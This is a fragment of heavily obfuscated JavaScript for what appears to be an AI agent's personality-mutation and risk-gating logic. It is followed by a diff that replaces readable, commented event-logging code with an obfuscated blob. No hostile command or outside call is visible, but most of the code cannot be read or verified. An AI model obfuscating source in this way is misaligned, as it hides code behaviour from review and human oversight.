72\x43\x6b\x37\x76\x6d\x6f\x32','\x44\x57\x78\x63\x51\x48\x52\x63\x4f\x61','\x57\x52\x53\x6b\x57\x36\x4a\x63\x47\x38\x6b\x69\x6b\x53\x6f\x58\x57\x35\x30\x36\x67\x32\x66\x68\x57\x51\x38','\x57\x52\x61\x2f\x57\x50\x4a\x63\x4d\x47\x2f\x64\x4e\x4e\x76\x43','\x79\x4e\x64\x64\x55\x38\x6f\x53\x57\x51\x74\x63\x4a\x6d\x6f\x68','\x66\x73\x4f\x73\x57\x52\x43\x4c\x57\x50\x43\x44\x45\x61','\x57\x52\x7a\x64\x62\x38\x6f\x4f\x64\x53\x6f\x33\x70\x6d\x6b\x38\x75\x67\x74\x63\x56\x38\x6b\x46\x57\x51\x38','\x62\x43\x6b\x54\x57\x34\x6c\x64\x55\x53\x6f\x4e\x57\x37\x79\x47\x44\x71','\x45\x78\x76\x4a\x6e\x61\x2f\x63\x52\x43\x6f\x4b\x42\x57','\x57\x34\x6c\x64\x51\x4c\x62\x6f\x79\x31\x52\x64\x52\x65\x65','\x71\x43\x6b\x38\x57\x34\x74\x64\x53\x43\x6f\x4a\x57\x35\x38\x4e\x44\x71','\x57\x35\x78\x64\x52\x66\x48\x43\x79\x47\x4b','\x77\x62\x4b\x67\x41\x43\x6b\x57\x57\x36\x58\x69\x78\x47','\x57\x50\x42\x64\x56\x43\x6f\x6c\x74\x47','\x57\x37\x43\x46\x57\x52\x65\x4d\x57\x4f\x74\x63\x51\x31\x64\x63\x55\x61','\x57\x34\x2f\x63\x4c\x38\x6b\x4b\x66\x32\x74\x64\x4b\x31\x62\x2f\x57\x51\x33\x64\x4e\x38\x6b\x78\x76\x71\x34','\x68\x57\x46\x64\x50\x71','\x79\x47\x42\x64\x50\x53\x6f\x72\x57\x36\x54\x66\x57\x52\x4e\x63\x47\x47','\x45\x58\x6c\x64\x53\x6d\x6f\x76\x57\x36\x75','\x57\x35\x68\x63\x4e\x77\x70\x64\x50\x71','\x76\x43\x6f\x45\x71\x6d\x6b\x58\x7a\x61','\x73\x67\x4e\x64\x50\x48\x72\x4b\x57\x50\x44\x4a\x57\x4f\x71','\x62\x43\x6b\x75\x65\x6d\x6f\x71','\x57\x50\x78\x64\x54\x38\x6f\x75\x74\x43\x6b\x45\x77\x38\x6b\x56\x75\x61','\x68\x59\x4e\x64\x53\x71\x50\x79\x57\x51\x62\x61\x57\x51\x65','\x73\x38\x6f\x77\x61\x78\x79\x6c\x6e\x38\x6f\x53\x62\x47','\x64\x6d\x6f\x33\x41\x38\x6b\x47\x57\x4f\x31\x35\x75\x67\x65','\x57\x52\x57\x4e\x57\x37\x37\x64\x52\x72\x70\x63\x54\x57','\x42\x4b\x76\x50\x57\x37\x2f\x63\x4b\x57','\x57\x36\x52\x64\x49\x6d\x6f\x6f\x64\x65\x5a\x63\x4f\x38\x6f\x56\x57\x4f\x53','\x43\x58\x61\x2f\x63\x64\x38','\x57\x36\x48\x65\x67\x58\x75\x34\x79\x61','\x64\x6d\x6f\x58\x41\x38\x6b\x4c','\x61\x62\x64\x63\x4d\x72\x6c\x63\x4e\x30\x69','\x57\x50\x56\x64\x4d\x57\x35\x79\x57\x52\x53\x49\x6f\x47','\x73\x72\x52\x63\x49\x62\x46\x63\x4a\x66\x6c\x63\x47\x6d\x6b\x63','\x57\x34\x4e\x64\x55\x4c\x58\x6d\x46\x48\x2f\x64\x53\x75\x6d','\x78\x4e\x42\x64\x51\x48\x47','\x57\x34\x6c\x63\x48\x53\x6f\x41','\x78\x33\x64\x64\x4f\x62\x6a\x4b','\x6e\x68\x62\x6f\x57\x37\x68\x64\x4f\x4d\x68\x64\x53\x72\x65','\x57\x4f\x6e\x31\x57\x35\x58\x36\x57\x34\x38\x39\x6c\x73\x52\x63\x4b\x6d\x6f\x38','\x6f\x4c\x57\x68\x41\x38\x6f\x7a\x57\x4f\x31\x46\x57\x35\x61','\x57\x34\x64\x64\x47\x63\x69\x6e\x57\x35\x42\x63\x4e\x77\x6d\x56','\x57\x37\x6d\x79\x76\x43\x6b\x52\x77\x53\x6b\x4a\x45\x6d\x6f\x4b','\x57\x37\x38\x42\x57\x52\x4e\x63\x48\x6d\x6f\x6a\x57\x4f\x37\x63\x4d\x38\x6f\x62','\x57\x37\x43\x72\x75\x6d\x6b\x61\x76\x53\x6b\x53\x46\x43\x6b\x58','\x57\x36\x74\x63\x4d\x53\x6b\x4b\x73\x65\x79\x43\x67\x4d\x71','\x69\x38\x6b\x41\x57\x37\x33\x63\x54\x43\x6b\x70\x44\x74\x75','\x57\x36\x4c\x49\x57\x52\x37\x64\x48\x53\x6f\x6c\x43\x6d\x6b\x59','\x57\x36\x46\x63\x48\x43\x6b\x52\x6f\x63\x4a\x64\x49\x77\x44\x58','\x57\x4f\x4e\x64\x49\x31\x46\x63\x50\x53\x6f\x2f\x57\x34\x6c\x63\x51\x43\x6b\x4c','\x57\x35\x74\x63\x4d\x76\x76\x4b\x6c\x72\x43\x47\x6a\x47','\x57\x37\x65\x44\x75\x38\x6b\x57\x74\x71','\x57\x4f\x4e\x64\x56\x61\x76\x39\x57\x52\x68\x64\x4e\x75\x33\x63\x52\x47','\x57\x37\x70\x64\x4a\x53\x6f\x6f\x65\x71','\x57\x35\x4f\x6e\x57\x51\x37\x63\x48\x43\x6f\x35\x57\x4f\x42\x63\x4e\x38\x6f\x6d','\x57\x35\x42\x63\x48\x76\x76\x4e','\x57\x4f\x76\x30\x57\x36\x4f\x44\x57\x52\x42\x64\x52\x43\x6f\x71\x57\x50\x4b','\x57\x37\x7a\x2f\x57\x34\x56\x64\x4e\x4b\x33\x63\x4e\x48\x6a\x36\x6e\x59\x78\x64\x50\x43\x6b\x71\x61\x57','\x57\x52\x61\x4b\x57\x50\x74\x63\x4a\x71','\x57\x35\x38\x6c\x57\x52\x4a\x63\x4e\x57','\x57\x37\x44\x39\x57\x34\x4e\x64\x4e\x4b\x6c\x63\x4e\x33\x50\x63\x6b\x64\x4a\x64\x56\x43\x6b\x79','\x57\x50\x42\x63\x4b\x38\x6f\x2b\x57\x51\x58\x39\x57\x37\x70\x63\x4e\x71','\x78\x33\x5a\x64\x4f\x57\x48\x31\x57\x51\x30\x56\x57\x50\x4b','\x6c\x4e\x53\x4f\x6c\x43\x6b\x46\x74\x75\x30\x4f','\x57\x37\x70\x64\x49\x43\x6f\x73\x64\x75\x42\x63\x4e\x38\x6f\x48\x57\x4f\x53','\x57\x4f\x70\x63\x53\x43\x6f\x4c\x57\x4f\x57','\x57\x51\x79\x35\x57\x4f\x56\x63\x48\x57\x4b','\x6f\x4c\x71\x75\x45\x43\x6b\x6e\x57\x50\x66\x45\x57\x35\x4f','\x6e\x68\x44\x73\x57\x36\x30','\x46\x4d\x61\x51\x6f\x72\x38','\x62\x66\x46\x64\x47\x71','\x57\x36\x5a\x63\x4b\x43\x6f\x4a\x57\x51\x7a\x39','\x57\x4f\x74\x64\x56\x53\x6f\x64\x74\x57','\x74\x33\x78\x64\x4f\x48\x4b','\x41\x32\x30\x51\x6e\x48\x2f\x63\x52\x71','\x57\x52\x52\x64\x4f\x43\x6f\x74\x74\x6d\x6b\x4d\x78\x6d\x6b\x5a\x75\x61','\x57\x4f\x37\x64\x4c\x4c\x4e\x63\x55\x53\x6f\x75\x57\x35\x78\x63\x4d\x38\x6b\x34','\x63\x74\x43\x61\x57\x51\x61','\x57\x37\x57\x65\x57\x37\x72\x52\x77\x48\x69\x6f\x57\x52\x4b','\x6e\x76\x39\x72\x42\x53\x6f\x69\x57\x50\x62\x76\x57\x35\x30','\x68\x76\x70\x64\x4c\x71','\x57\x36\x65\x65\x57\x37\x6e\x49','\x61\x64\x43\x46\x57\x52\x65\x30\x57\x50\x79','\x57\x35\x6c\x63\x49\x78\x4c\x4f\x65\x58\x6d','\x57\x34\x53\x6d\x57\x51\x6c\x63\x4b\x43\x6f\x73\x57\x34\x64\x63\x4e\x38\x6f\x64','\x57\x50\x4e\x63\x52\x43\x6f\x37\x57\x50\x5a\x63\x4d\x6d\x6f\x4a\x6b\x32\x69','\x63\x6d\x6b\x53\x57\x36\x52\x64\x52\x53\x6f\x48\x57\x35\x69\x33','\x63\x31\x52\x64\x4c\x6d\x6b\x62','\x41\x4c\x75\x4c\x57\x37\x2f\x63\x48\x43\x6b\x70\x57\x37\x6e\x74','\x57\x51\x47\x4a\x57\x36\x46\x64\x4f\x62\x2f\x63\x4f\x73\x76\x55','\x57\x36\x33\x63\x4e\x43\x6b\x4b\x78\x47\x38\x69\x6d\x78\x47','\x57\x35\x78\x63\x4a\x53\x6f\x77\x57\x4f\x54\x38','\x57\x35\x64\x64\x47\x4b\x46\x64\x4e\x31\x50\x50\x57\x50\x48\x53\x57\x37\x57','\x57\x35\x4b\x4d\x57\x4f\x79\x50\x57\x37\x38\x37','\x7a\x73\x70\x64\x4e\x6d\x6f\x58\x57\x51\x74\x64\x4a\x43\x6f\x78\x6e\x47','\x57\x34\x2f\x63\x4e\x4b\x76\x4a\x62\x57\x43\x51\x6f\x71','\x57\x35\x74\x63\x4c\x75\x76\x36\x61\x62\x65\x4d\x6a\x61','\x72\x6d\x6f\x44\x78\x53\x6b\x31\x42\x71','\x43\x57\x57\x34\x6f\x48\x39\x74\x57\x34\x52\x63\x51\x57','\x57\x50\x68\x63\x48\x61\x42\x64\x4d\x47','\x57\x50\x46\x64\x49\x4b\x6c\x63\x54\x43\x6f\x2f\x57\x35\x4a\x63\x4b\x43\x6b\x49','\x6e\x4e\x6d\x37\x69\x6d\x6b\x6b\x78\x71','\x57\x34\x6d\x42\x57\x51\x78\x63\x4b\x6d\x6f\x73\x57\x4f\x47','\x57\x52\x75\x30\x57\x37\x52\x63\x55\x57','\x57\x34\x70\x63\x48\x77\x46\x64\x53\x57\x75\x43\x57\x4f\x69\x33','\x73\x43\x6f\x41\x78\x6d\x6b\x33\x46\x43\x6b\x47','\x57\x52\x65\x55\x57\x50\x52\x63\x4a\x72\x78\x64\x4d\x77\x44\x64','\x72\x48\x33\x63\x48\x57\x2f\x63\x4e\x65\x71','\x57\x35\x78\x63\x48\x65\x44\x37\x62\x58\x61','\x57\x34\x52\x63\x48\x76\x72\x51\x61\x71','\x57\x35\x46\x64\x4d\x59\x57\x66\x57\x34\x70\x63\x54\x68\x34','\x57\x35\x66\x73\x57\x51\x56\x64\x48\x6d\x6f\x77\x42\x43\x6b\x30\x57\x35\x61','\x57\x36\x30\x74\x57\x51\x43\x32\x57\x4f\x5a\x63\x52\x66\x6c\x63\x56\x47','\x62\x78\x6d\x50\x6d\x43\x6b\x6f\x77\x4e\x58\x36','\x6c\x47\x64\x64\x53\x47\x30\x53\x57\x51\x30','\x77\x57\x64\x63\x48\x43\x6f\x43\x76\x43\x6f\x62\x44\x6d\x6b\x72\x57\x4f\x53\x6a\x73\x43\x6b\x59\x70\x57','\x44\x38\x6b\x43\x57\x35\x70\x63\x4b\x38\x6b\x46\x72\x71','\x79\x58\x61\x35\x70\x61\x7a\x65\x57\x37\x52\x63\x54\x57','\x7a\x67\x6d\x54'];_0x5528=function(){return _0x1c6611;};return _0x5528();}export function proposeMutations(_0x44d8f3){const _0x1b0a46=_0x3df366,_0x49a842=normalizePersonalityState(_0x44d8f3[_0x1b0a46(0x1fe,'\x72\x30\x79\x36')+'\x65']),_0x58cd93=asStrings(_0x44d8f3[_0x1b0a46(0x29b,'\x40\x6c\x76\x62')]),_0xa40b74=String(_0x44d8f3[_0x1b0a46(0x1ee,'\x26\x6e\x56\x5b')]??''),_0x11783e=(_0x48d2ec,_0x44fa7f,_0x4623cb)=>({'\x74\x79\x70\x65':_0x1b0a46(0x258,'\x68\x31\x64\x64')+_0x1b0a46(0x2a5,'\x50\x54\x26\x4b')+'\x69\x6f\x6e','\x70\x61\x72\x61\x6d':_0x48d2ec,'\x64\x65\x6c\x74\x61':_0x44fa7f,'\x72\x65\x61\x73\x6f\x6e':_0x4623cb}),_0x9024a9=[];if(_0x44d8f3[_0x1b0a46(0x256,'\x40\x6c\x76\x62')+_0x1b0a46(0x284,'\x42\x4e\x43\x30')])_0x9024a9[_0x1b0a46(0x212,'\x23\x26\x64\x42')](_0x11783e(_0x1b0a46(0x2ac,'\x67\x5b\x5d\x49')+'\x74\x79',+(-0x78*0x3a+-0x1*-0x119+-0x1a17*-0x1+0.1),_0xa40b74||_0x1b0a46(0x281,'\x68\x31\x64\x64')+_0x1b0a46(0x28e,'\x61\x6f\x39\x4b'))),_0x9024a9[_0x1b0a46(0x290,'\x57\x24\x42\x6d')](_0x11783e('\x72\x69\x73\x6b\x5f\x74\x6f\x6c'+_0x1b0a46(0x221,'\x5b\x43\x4c\x62'),-(0x1*-0x43+-0xa13*-0x1+0x274*-0x4+0.05),_0x1b0a46(0x234,'\x23\x59\x75\x71')+_0x1b0a46(0x1f9,'\x6e\x50\x36\x6b')+'\x6d\x70'));else{if(_0x58cd93[_0x1b0a46(0x28c,'\x26\x48\x35\x6b')]('\x70\x72\x6f\x74\x6f\x63\x6f\x6c'+_0x1b0a46(0x29f,'\x36\x61\x64\x42')))_0x9024a9[_0x1b0a46(0x262,'\x57\x38\x45\x69')](_0x11783e(_0x1b0a46(0x1d8,'\x42\x4e\x43\x30')+'\x65',+(0x2*0xccf+0x1f1+-0x583*0x5+0.1),_0xa40b74||_0x1b0a46(0x253,'\x75\x59\x4b\x55')+_0x1b0a46(0x24c,'\x4d\x69\x49\x77'))),_0x9024a9[_0x1b0a46(0x27e,'\x71\x35\x25\x59')](_0x11783e(_0x1b0a46(0x288,'\x6e\x59\x78\x37'),+(-0x8dd+0x26a7*0x1+-0x1dca+0.05),_0x1b0a46(0x26c,'\x72\x69\x34\x52')+_0x1b0a46(0x213,'\x34\x58\x63\x75')+_0x1b0a46(0x235,'\x30\x52\x77\x69')+_0x1b0a46(0x23b,'\x36\x61\x64\x42')));else{if(_0x58cd93[_0x1b0a46(0x1e8,'\x38\x43\x4f\x64')](_0x1b0a46(0x218,'\x5d\x40\x58\x77')+'\x72')||_0x58cd93[_0x1b0a46(0x250,'\x6e\x64\x68\x40')](_0x26f921=>_0x26f921['\x73\x74\x61\x72\x74\x73\x57\x69'+'\x74\x68']('\x65\x72\x72\x73\x69\x67\x3a')||_0x26f921[_0x1b0a46(0x230,'\x2a\x5b\x5e\x39')+'\x74\x68'](_0x1b0a46(0x2a2,'\x26\x6e\x56\x5b')+_0x1b0a46(0x294,'\x71\x6f\x29\x41'))))_0x1b0a46(0x274,'\x6e\x59\x78\x37')!==_0x1b0a46(0x2a4,'\x74\x4a\x62\x54')?(_0x1d7ca4[_0x1b0a46(0x268,'\x68\x31\x64\x64')](_0x3d22e0(_0x1b0a46(0x1e2,'\x30\x52\x77\x69')+'\x65',+(-0x7b+0xb7*-0x11+0x42*0x31+0.1),_0x19b965||_0x1b0a46(0x26d,'\x57\x38\x45\x69')+_0x1b0a46(0x1ed,'\x5b\x43\x4c\x62'))),_0x201b70[_0x1b0a46(0x227,'\x69\x49\x2a\x7a')](_0x2da11a(_0x1b0a46(0x260,'\x74\x4a\x62\x54'),+(0x8aa*0x3+-0xb13+-0xeeb+0.05),_0x1b0a46(0x26c,'\x72\x69\x34\x52')+_0x1b0a46(0x2a9,'\x45\x21\x30\x78')+_0x1b0a46(0x1fc,'\x50\x54\x26\x4b')+'\x6e\x63\x65'))):(_0x9024a9[_0x1b0a46(0x20a,'\x46\x31\x48\x69')](_0x11783e(_0x1b0a46(0x252,'\x6e\x64\x68\x40'),+(-0x1276*0x1+0x222c+-0x1*0xfb6+0.1),_0xa40b74||_0x1b0a46(0x2a6,'\x52\x46\x5d\x49')+_0x1b0a46(0x1d5,'\x6e\x64\x68\x40')+'\x74\x79')),_0x9024a9[_0x1b0a46(0x1f4,'\x57\x5a\x37\x37')](_0x11783e(_0x1b0a46(0x25f,'\x26\x48\x35\x6b')+_0x1b0a46(0x2a1,'\x5d\x40\x58\x77'),-(0x216e*-0x1+0x2185*-0x1+-0xc5*-0x57+0.1),_0x1b0a46(0x26b,'\x6e\x64\x68\x40')+'\x69\x73\x6b\x79\x20\x63\x68\x61'+_0x1b0a46(0x270,'\x51\x6c\x71\x57')+_0x1b0a46(0x285,'\x64\x57\x6d\x4a')+'\x73')));else{if(hasOpportunitySignal(_0x58cd93)){if(_0x1b0a46(0x217,'\x69\x49\x2a\x7a')!==_0x1b0a46(0x1fb,'\x72\x30\x79\x36')){const _0x5c2f68=_0x85aa03[_0x1b0a46(0x228,'\x64\x57\x6d\x4a')+_0x1b0a46(0x1e9,'\x71\x6f\x29\x41')]();return _0x103716[_0x1b0a46(0x1f2,'\x77\x5d\x29\x29')](_0x5c2f68)||_0x5c2f68[_0x1b0a46(0x25e,'\x57\x5a\x37\x37')+'\x74\x68']('\x65\x72\x72\x73\x69\x67\x3a')||_0x5c2f68['\x73\x74\x61\x72\x74\x73\x57\x69'+'\x74\x68'](_0x1b0a46(0x287,'\x69\x49\x2a\x7a')+_0x1b0a46(0x202,'\x2a\x5b\x5e\x39'));}else _0x9024a9[_0x1b0a46(0x264,'\x26\x48\x35\x6b')](_0x11783e(_0x1b0a46(0x20e,'\x72\x30\x79\x36')+'\x74\x79',+(0x23df+0x2db*0x5+-0x3226+0.1),_0xa40b74||_0x1b0a46(0x2aa,'\x55\x24\x39\x38')+_0x1b0a46(0x219,'\x57\x24\x42\x6d')+_0x1b0a46(0x27c,'\x51\x6c\x71\x57')+_0x1b0a46(0x27d,'\x42\x4e\x43\x30'))),_0x9024a9[_0x1b0a46(0x20f,'\x30\x52\x77\x69')](_0x11783e(_0x1b0a46(0x224,'\x57\x5a\x37\x37')+'\x65\x72\x61\x6e\x63\x65',+(-0x82+-0x2*0xe+0x9e+0.05),_0x1b0a46(0x1dd,'\x74\x4a\x62\x54')+_0x1b0a46(0x215,'\x26\x32\x35\x44')+_0x1b0a46(0x28b,'\x77\x5d\x29\x29')+'\x6e\x6f\x76\x61\x74\x69\x6f\x6e'));}else{if(_0x1b0a46(0x1f3,'\x67\x67\x65\x6a')!==_0x1b0a46(0x22c,'\x4d\x69\x49\x77'))_0x9024a9[_0x1b0a46(0x201,'\x45\x21\x30\x78')](_0x11783e(_0x1b0a46(0x20c,'\x74\x4a\x62\x54')+'\x74\x79',+(-0x161+-0x12b3+0x1414+0.05),_0xa40b74||_0x1b0a46(0x257,'\x74\x4a\x62\x54')+_0x1b0a46(0x208,'\x43\x38\x4f\x36')+_0x1b0a46(0x1e5,'\x64\x57\x6d\x4a'))),_0x9024a9['\x70\x75\x73\x68'](_0x11783e('\x76\x65\x72\x62\x6f\x73\x69\x74'+'\x79',-(-0x1af5+0x1*-0xc2d+0x2722+0.05),'\x72\x65\x64\x75\x63\x65\x20\x6e'+_0x1b0a46(0x27a,'\x2a\x5b\x5e\x39')));else return _0x9dfa3c[_0x1b0a46(0x283,'\x30\x52\x77\x69')](_0xbddef8)?_0x1c4aed[_0x1b0a46(0x216,'\x5b\x43\x4c\x62')](_0x22b87f=>_0x475d4a(_0x22b87f??'')):[];}}}}if(_0x49a842[_0x1b0a46(0x1cd,'\x69\x49\x2a\x7a')+'\x65']>=0x1*-0xc5b+0xd*-0x137+-0x3*-0x962+0.95){if(_0x1b0a46(0x23d,'\x50\x54\x26\x4b')!==_0x1b0a46(0x1dc,'\x52\x46\x5d\x49'))_0x295d08[_0x1b0a46(0x271,'\x75\x59\x4b\x55')](_0x4a9f7a(_0x1b0a46(0x1ce,'\x4a\x5b\x47\x54')+'\x74\x79',+(0x1009+-0x97b+-0x68e+0.05),_0x47ec3b||'\x70\x6c\x61\x74\x65\x61\x75\x20'+_0x1b0a46(0x245,'\x6c\x78\x43\x28')+_0x1b0a46(0x233,'\x38\x43\x4f\x64'))),_0x40d204[_0x1b0a46(0x206,'\x48\x38\x4a\x77')](_0x285b01(_0x1b0a46(0x1d6,'\x26\x32\x35\x44')+'\x79',-(-0xf0*-0x1+-0x754+0x664+0.05),_0x1b0a46(0x23c,'\x50\x54\x26\x4b')+_0x1b0a46(0x1ef,'\x75\x59\x4b\x55')));else{const _0x3a5823=_0x9024a9[_0x1b0a46(0x21e,'\x36\x61\x64\x42')+'\x78'](_0x34c7d9=>_0x34c7d9[_0x1b0a46(0x23f,'\x61\x6f\x39\x4b')]===_0x1b0a46(0x24f,'\x23\x59\x75\x71')+'\x65');if(_0x3a5823>=-0x1*0xa27+-0x1*0x1421+0x1e48)_0x9024a9[_0x3a5823]=_0x11783e('\x63\x72\x65\x61\x74\x69\x76\x69'+'\x74\x79',+(-0x3f3*0x7+0x825+0x1380+0.05),_0x1b0a46(0x29d,'\x34\x58\x63\x75')+_0x1b0a46(0x203,'\x6e\x59\x78\x37')+_0x1b0a46(0x200,'\x40\x44\x39\x53'));}}return _0x9024a9;}export function shouldTriggerPersonalityMutation(_0x19a43e){const _0x47c944=_0x3df366;if(_0x19a43e[_0x47c944(0x232,'\x30\x52\x77\x69')+_0x47c944(0x276,'\x6e\x64\x68\x40')])return{'\x6f\x6b':!![],'\x72\x65\x61\x73\x6f\x6e':'\x64\x72\x69\x66\x74\x20\x65\x6e'+_0x47c944(0x247,'\x64\x57\x6d\x4a')};const _0x3e0f0a=(Array[_0x47c944(0x22f,'\x77\x5d\x29\x29')](_0x19a43e[_0x47c944(0x2ab,'\x29\x55\x45\x63')+_0x47c944(0x241,'\x52\x46\x5d\x49')])?_0x19a43e[_0x47c944(0x297,'\x5b\x43\x4c\x62')+_0x47c944(0x1ea,'\x55\x24\x39\x38')]:[])[_0x47c944(0x222,'\x33\x56\x5e\x73')](-(0x26b8+-0x1207+-0x14ab)),_0x362763=_0x3e0f0a[_0x47c944(0x273,'\x42\x4e\x43\x30')](_0x594d28=>_0x594d28?.[_0x47c944(0x20d,'\x74\x4a\x62\x54')]?.[_0x47c944(0x236,'\x23\x59\x75\x71')]?String(_0x594d28[_0x47c944(0x21a,'\x67\x5b\x5d\x49')][_0x47c944(0x299,'\x26\x48\x35\x6b')]):null)[_0x47c944(0x27f,'\x2a\x5b\x5e\x39')](_0x323509=>_0x323509!=null);if(_0x362763[_0x47c944(0x293,'\x68\x31\x64\x64')]>=0x252+0x16*0x1aa+-0x11*0x24a){const _0x47337e=_0x362763['\x73\x6c\x69\x63\x65'](-(0xb4e+0x2*0x8+-0xb5a))[_0x47c944(0x1de,'\x23\x59\x75\x71')](_0x421512=>_0x421512==='\x66\x61\x69\x6c\x65\x64')[_0x47c944(0x28a,'\x5e\x33\x42\x51')];if(_0x47337e>=0x14e0+0x8fc+-0x11b*0x1b)return{'\x6f\x6b':!![],'\x72\x65\x61\x73\x6f\x6e':_0x47c944(0x1fa,'\x4a\x5b\x47\x54')+_0x47c944(0x25a,'\x69\x49\x2a\x7a')+_0x47c944(0x251,'\x6e\x59\x78\x37')};}const _0x1b666b=_0x3e0f0a[_0x47c944(0x21b,'\x71\x35\x25\x59')](_0x202341=>typeof _0x202341?.[_0x47c944(0x27b,'\x71\x35\x25\x59')+'\x49\x64']==='\x73\x74\x72\x69\x6e\x67'&&_0x202341[_0x47c944(0x223,'\x61\x6f\x39\x4b')+'\x49\x64']);if(_0x1b666b[_0x47c944(0x225,'\x50\x54\x26\x4b')]>=0xc8+-0x215d+0x4*0x826){if(_0x47c944(0x1d1,'\x50\x54\x26\x4b')===_0x47c944(0x249,'\x26\x6e\x56\x5b')){const _0x2c0f8a=_0x1b666b[_0x47c944(0x272,'\x38\x43\x4f\x64')](-(-0xc55+-0x79*0x1f+0x1aff))[_0x47c944(0x298,'\x4d\x69\x49\x77')](_0x3f1ad7=>_0x3f1ad7?.[_0x47c944(0x1e4,'\x72\x69\x34\x52')]?.[_0x47c944(0x22b,'\x33\x56\x5e\x73')]===_0x47c944(0x246,'\x71\x6f\x29\x41'))[_0x47c944(0x296,'\x61\x6f\x39\x4b')];if(_0x2c0f8a>=0x6be+0x7b*0xf+-0xdf0)return{'\x6f\x6b':!![],'\x72\x65\x61\x73\x6f\x6e':_0x47c944(0x291,'\x57\x5a\x37\x37')+_0x47c944(0x1e6,'\x57\x5a\x37\x37')+_0x47c944(0x21f,'\x71\x6f\x29\x41')+_0x47c944(0x29a,'\x26\x48\x35\x6b')};}else{const _0x30560e=_0xddd9f8(_0x6faee4);return _0xeb5971[_0x47c944(0x1e7,'\x72\x69\x34\x52')](_0x5dca09=>_0x30560e[_0x47c944(0x1cf,'\x6e\x64\x68\x40')](_0x5dca09)||_0x30560e[_0x47c944(0x267,'\x5b\x43\x4c\x62')](_0x41ec3e=>_0x41ec3e[_0x47c944(0x22e,'\x5b\x43\x4c\x62')+'\x74\x68'](_0x5dca09+'\x3a')));}}return{'\x6f\x6b':![],'\x72\x65\x61\x73\x6f\x6e':''};}
@@ -1,37 +1 @@
1
- import { personalityKey } from './schema.js';
2
- /** 记录本轮选用的人格状态 (注入 prompt 前). */
3
- export async function emitPersonalitySelected(ingestor, args) {
4
- const key = personalityKey(args.personality);
5
- return ingestor.ingest({
6
- type: 'personality.selected',
7
- human: {
8
- title: `人格 ${key}`,
9
- detail: `rigor=${args.personality.rigor.toFixed(2)} creativity=${args.personality.creativity.toFixed(2)} risk=${args.personality.risk_tolerance.toFixed(2)}`,
10
- },
11
- payload: { cycleId: args.cycleId, personalityKey: key, personalityState: args.personality, known: args.known },
12
- });
13
- }
14
- /**
15
- * 记录风险闸对变异的降级 (仅当真降级了才发; downgraded=false 不发).
16
- * why 必填 —— 让"Why 面板"能解释这次变异为何被压。
17
- */
18
- export async function emitPersonalityRiskGated(ingestor, args) {
19
- if (!args.gate.downgraded)
20
- return null;
21
- const m = args.gate.mutation;
22
- return ingestor.ingest({
23
- type: 'personality.risk_gated',
24
- human: {
25
- title: `风险闸降级 → ${m.category}/${m.risk_level}`,
26
- why: `人格 ${personalityKey(args.personality)} 未满足高危放行 (rigor≥0.6 且 risk_tolerance≤0.5); 安全信号: ${args.gate.appliedSignals.join(', ')}`,
27
- severity: 'notice',
28
- },
29
- payload: {
30
- cycleId: args.cycleId,
31
- mutationId: m.id,
32
- category: m.category,
33
- riskLevel: m.risk_level,
34
- appliedSignals: args.gate.appliedSignals,
35
- },
36
- });
37
- }
1
+ function _0x3434(){const _0x5b4801=['\x57\x34\x44\x77\x57\x36\x69\x53\x57\x50\x33\x63\x47\x71','\x57\x52\x52\x63\x4c\x6d\x6f\x31\x57\x34\x44\x6f\x57\x4f\x42\x64\x4a\x38\x6f\x31','\x57\x35\x58\x72\x57\x37\x79\x49\x57\x52\x68\x63\x4d\x43\x6f\x44\x57\x34\x79','\x43\x38\x6b\x6d\x76\x43\x6f\x6b','\x41\x76\x72\x32\x67\x53\x6f\x6d\x57\x34\x78\x64\x47\x68\x61','\x6e\x38\x6b\x50\x70\x6d\x6f\x56\x62\x58\x57','\x45\x4c\x62\x5a\x73\x6d\x6b\x36\x57\x34\x30\x59','\x41\x31\x7a\x4a\x66\x38\x6f\x72\x57\x34\x4e\x64\x4b\x4b\x4f','\x57\x36\x61\x4a\x57\x4f\x70\x63\x52\x43\x6b\x44\x7a\x38\x6b\x5a\x57\x4f\x61','\x75\x72\x61\x43\x6a\x53\x6b\x79\x6e\x38\x6b\x54\x76\x57','\x79\x31\x6a\x51\x72\x47','\x6e\x43\x6b\x4c\x6b\x43\x6f\x5a\x67\x4b\x2f\x64\x51\x47\x53','\x44\x6d\x6b\x54\x70\x38\x6b\x6e\x71\x38\x6b\x59\x70\x38\x6f\x6b','\x57\x4f\x6a\x6e\x6a\x74\x7a\x45\x69\x57','\x44\x38\x6f\x31\x42\x6d\x6b\x35\x71\x62\x70\x63\x56\x71\x50\x6b\x57\x36\x42\x63\x54\x65\x76\x67','\x35\x6c\x4d\x48\x35\x51\x63\x76\x75\x61','\x57\x34\x56\x63\x4b\x4c\x48\x71\x72\x62\x31\x51\x57\x4f\x4a\x64\x56\x65\x39\x34\x57\x52\x43\x70','\x35\x6c\x4d\x72\x35\x51\x63\x77\x41\x57','\x57\x52\x44\x49\x77\x61','\x61\x6d\x6b\x6b\x6f\x49\x66\x4c\x57\x36\x46\x64\x51\x6d\x6b\x76','\x57\x36\x30\x34\x57\x4f\x33\x64\x52\x43\x6b\x6a\x43\x6d\x6b\x2b\x57\x4f\x65','\x63\x53\x6b\x31\x57\x34\x78\x63\x56\x4e\x38\x55\x57\x52\x68\x64\x4b\x71','\x44\x6d\x6f\x33\x79\x38\x6b\x35\x71\x72\x6c\x63\x53\x31\x6e\x68\x57\x36\x4e\x63\x56\x66\x50\x4b\x6a\x47','\x57\x51\x4b\x50\x57\x52\x66\x71\x57\x37\x39\x61\x57\x35\x42\x63\x4a\x57','\x6f\x58\x79\x4c\x74\x38\x6b\x6d\x57\x50\x37\x63\x4a\x4d\x48\x67\x57\x35\x70\x63\x53\x53\x6f\x6a\x57\x4f\x43','\x6e\x6d\x6b\x6b\x57\x37\x78\x64\x52\x6d\x6f\x65\x65\x71\x72\x61\x57\x51\x57\x41\x78\x4e\x75\x62','\x64\x4b\x52\x64\x4a\x68\x6a\x6b\x62\x4d\x68\x63\x4b\x38\x6b\x6c\x57\x37\x6a\x44\x6e\x4c\x39\x53','\x57\x36\x35\x51\x61\x53\x6b\x65\x35\x6c\x51\x51\x6d\x43\x6b\x79\x57\x52\x38','\x57\x35\x50\x45\x57\x36\x58\x30','\x46\x6d\x6b\x72\x78\x43\x6f\x6b\x57\x50\x58\x76','\x6e\x4a\x6c\x63\x4b\x61\x42\x64\x53\x38\x6f\x45\x73\x65\x64\x63\x4e\x47\x48\x68\x57\x52\x35\x47','\x76\x47\x4e\x63\x4a\x71','\x43\x4d\x78\x64\x4c\x75\x68\x63\x51\x43\x6b\x64\x67\x30\x69','\x41\x75\x44\x4e\x68\x53\x6f\x46\x57\x